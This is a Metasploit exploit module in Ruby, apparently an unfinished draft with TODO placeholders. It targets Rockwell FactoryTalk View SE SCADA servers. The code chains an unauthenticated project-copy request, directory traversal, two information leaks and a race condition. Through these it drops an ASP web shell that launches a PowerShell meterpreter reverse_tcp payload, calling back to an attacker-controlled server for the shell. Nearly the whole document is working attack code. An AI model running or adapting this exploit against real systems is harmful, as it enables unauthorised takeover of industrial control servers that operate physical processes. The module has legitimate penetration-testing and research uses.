##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution
          on the Rockwell FactoryTalk View SE SCADA product.
          The default configuration is exploitable by an unauthenticated attacker, and the exploit runs as
          the IIS user on the Windows sever.
          The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request,
          the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all
          targets, two information leak vulnerabilities are also abused.
          This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category.
          TODO: add info about fixed versions once advisory is out?
        },
        'License' => MSF_LICENSE,
        'Author' =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com> @RabbitPro' # Vulnerability discovery and Metasploit module
        ],
        'References' =>
          [
            [ 'URL', '<TODO>'],
            [ 'CVE', '<TODO>'],
            [ 'CVE', '<TODO>'],
            [ 'CVE', '<TODO>'],
            [ 'CVE', '<TODO>'],
            [ 'ZDI', '<TODO>'],
            [ 'ZDI', '<TODO>'],
            [ 'ZDI', '<TODO>'],
            [ 'ZDI', '<TODO>']
          ],
        'Privileged' => false,
        'Platform' => 'win',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Payload' => {
          'DefaultOptions' =>
            {
              'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
            }
        },
        'Targets' =>
          [
            [ 'Rockwell Automation FactoryTalk SE', {} ]
          ],
        'DisclosureDate' => 'May XX 2020',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']),
        OptInt.new('SRVPORT', [true, 'Connection port for exploit download', 8080]),
        OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/'])
      ]
    )

    register_advanced_options(
      [
        OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]),
        OptInt.new('SLEEP_SHELL', [true, 'Number of seconds to wait for shell after racer thread finishes', 15])
      ]
    )
  end

  def send_to_factory(uri)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, uri),
      'method' => 'GET'
    })
    return res
  end

  def check
    res = send_to_factory('/hmi_isapi.dll')
    return Exploit::CheckCode::Safe unless res && res.code == 200

    # Parse version from response body
    # Example: Version 11.00.00.230
    version = res.body.match(/Version ([0-9\.]{5,})/)[1].split('.')

    # Is returned version sound?
    return Exploit::CheckCode::Detected unless version.length == 4

    print_status("#{peer} - Detected version #{version[0]}.#{version[1]}.#{version[2]}.#{version[3]}")
    if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230
      # we know this exact version is vulnerable (11.00.00.230)
      return Exploit::CheckCode::Appears
    end
  end

  def on_request_uri(cli, request)
    if request.uri.include?(@shelly)
      print_good("#{peer} - Target connected, sending payload")
      psh = cmd_psh_payload(
        payload.encoded,
        payload.arch.first
        # without comspec it seems to fail, so keep it this way
        # remove_comspec: true
      )
      # add double quotes for classic ASP escaping
      psh.gsub!('"', '""')

      # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell
      # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore...
      # If this module is not working on an older Windows version, try the below as payload:
      # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe)
      payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>}
      send_response(cli, payload)
      # payload file is deleted automatically by the server once we win the race!

    elsif request.uri.include?(@proj_name)
      # Directory traversal: vulnerable asp file will land in the path we provide
      print_good("#{peer} - Target connected, sending file path with dir traversal")
      # Check the comments in the exploit below function to understand why this is fixed
      filename = "../SE/HMI Projects/#{@shelly}"
      send_response(cli, filename)
    end
  end

  def on_new_session(_session)
    @shell_recv = true
  end

  def exploit
    @shell_recv = false

    # Infoleak 1 (project listing)
    print_status("#{peer} - Listing projects on the server")
    res = send_to_factory('/hmi_isapi.dll?GetHMIProjects')

    fail_with(Failure::Unknown, 'Failed to obtain project list. Bailing') unless res && res.code == 200

    print_status("#{peer} - Received list of projects from the server")
    @proj_name = ''
    proj_path = ''
    xml = res.get_xml_document

    # Parse XML project list and check each project for installation project path
    xml.search('HMIProject').each do |project|
      @proj_name = project.attributes['Name']

      # Infoleak 2 (project installation path)
      # In the original exploit, we used this to calculate the directory traversal path, but
      # Google says the path is the same for all versions since at least 2007.
      # Let's still abuse it to check if the project is valid.
      url = "/hmi_isapi.dll?GetHMIProjectPath&#{@proj_name}"
      res = send_to_factory(url)

      proj_path = res.body.strip

      # Check if response contains :\ that indicates a windows path
      if proj_path.match(/:\\/)
        print_status("#{peer} - Found project path: #{proj_path}")
        # We only need first hit so we can quit the project parsing once we get it
        break
      end

      # We reached end of XML and we didn't manage to get the installation path
      @proj_name = nil
    end

    if !@proj_name
      fail_with(Failure::Unknown, 'Failed to get a path to drop our shell, bailing out...')
    end

    shell_path = proj_path.sub(@proj_name, '').strip
    print_good("#{peer} - Got a path to drop our shell: #{shell_path}")

    # Start http server for project copy callback
    http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
    print_status("#{peer} - Starting up our web service on #{http_service} ...")

    start_service({ 'Uri' => {
      'Proc' => proc do |cli, req|
        on_request_uri(cli, req)
      end,
      # This path has to be capitalized as "RSViewSE" or else the exploit will fail!
      'Path' => '/RSViewSE/'
    } })

    # Race Condition
    # This is the racer thread. It will continuously access our asp file until it gets executed
    print_status("#{peer} - Starting racer thread, let's win this race condition!")
    @shelly = "#{rand_text_alpha(5..10)}.asp"
    racer = Thread.new do
      begin
        loop do
          res = send_to_factory("/#{@shelly}")
          if res.code == 200
            print_good("#{peer} - We've won the race condition, shell incoming!")
            break
          end
        end
      end
    end

    # Project Copy Request: target will connect to us to obtain project information.
    print_status("#{peer} - Initiating project copy request...")
    url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1"
    res = send_to_factory(url)

    # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish
    count = 0
    while count < datastore['SLEEP_RACER']
      if racer.status == false
        break
      else
        sleep(1)
        count += 1
      end
    end
    racer.exit

    # ... then wait datastore['SLEEP_SHELL'] seconds to receive our shell
    # Without this sleep the exploit fails!
    count = 0
    while count < datastore['SLEEP_SHELL'] && !@shell_recv
      sleep(1)
      count += 1
    end
  end
end
